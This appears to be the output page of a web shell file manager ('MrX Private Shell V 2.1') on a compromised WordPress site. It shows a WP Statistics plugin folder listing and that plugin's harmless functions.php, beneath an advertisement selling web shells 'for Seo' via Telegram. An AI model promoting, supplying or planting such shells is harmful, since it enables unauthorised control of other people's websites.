__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
use WP_Statistics\Service\CustomEvent\CustomEventDataParser;
use WP_Statistics\Models\EventsModel;
if (!function_exists('wp_statistics_event')) {
function wp_statistics_event($eventName, $eventData = []) {
try {
// Parse event data
$eventDataParser = new CustomEventDataParser($eventName, $eventData);
$parsedData = $eventDataParser->getParsedData();
// Insert event into the database
$eventsModel = new EventsModel();
$eventsModel->insertEvent($parsedData);
} catch (\Exception $e) {
WP_Statistics()->log($e->getMessage(), 'error');
}
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| assets | Folder | 0755 |
|
|
| includes | Folder | 0755 |
|
|
| languages | Folder | 0755 |
|
|
| src | Folder | 0755 |
|
|
| vendor | Folder | 0755 |
|
|
| views | Folder | 0755 |
|
|
| functions.php | File | 668 B | 0644 |
|
| gulpfile.js | File | 6.34 KB | 0644 |
|
| license.txt | File | 34.98 KB | 0644 |
|
| readme.txt | File | 17.04 KB | 0644 |
|
| wp-statistics.php | File | 1.09 KB | 0644 |
|